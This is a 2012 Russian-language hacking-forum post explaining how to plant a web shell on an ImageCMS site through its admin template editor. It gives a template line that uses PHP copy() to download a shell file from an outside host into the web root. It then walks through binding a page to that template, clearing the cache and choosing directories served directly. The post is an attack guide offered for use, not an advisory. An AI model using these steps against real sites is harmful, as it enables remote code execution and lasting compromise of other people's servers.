Показать сообщение отдельно
Старый 19.08.2012, 17:41   #40
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

_http://www.imagecms.net/

Заходим в си-ма -> конфигурация сайта
Смотрим какой шаблон используется
Идем в модули -> Все модули -> Редактор шаблонов -> Выбираем нужный шаблон

Создаем файл, например:

shell.php
PHP код:
{#phpinfo()}

{copy('http://[host]/future_shell.php''[path]/shell.php')} 
Все функции или переменные располагаются между разделителями { и }

"#" комментарий в {#phpinfo()}, аналогично есть "//", "/**/"

Нужно помнить, так как это демонстрационный пример,

в примере copy() зависит от:
- оберки URL;
- safe_mode=off;

Создаем содержимое, в "Параметрах" указываем:
"Url": shell
"Шаблон Страницы": shell.php

На вкладке "Содержание" задаем любое "Предварительное содержание", "Заголовок"

Вызываем http://[host]/shell, перед этим чистя кеш: Система -> Кеш -> Очистить полностью

Шелл лучше лить туда откуда файлы напрямую отдаются.

На прямую отдаётся с этих каталогов:
application/modules/.*/templates
templates

Зависит еще от ветки движка.
Все каталоги смотреть в в .htaccess.

Чтоб узнать путь использовать "Волшебные" константы (__FILE__ etc).

В остальных случаях все запросы принимает Front Controller (index.php).

Последний раз редактировалось }{оттабыч; 19.08.2012 в 18:50..
}{оттабыч вне форума   Ответить с цитированием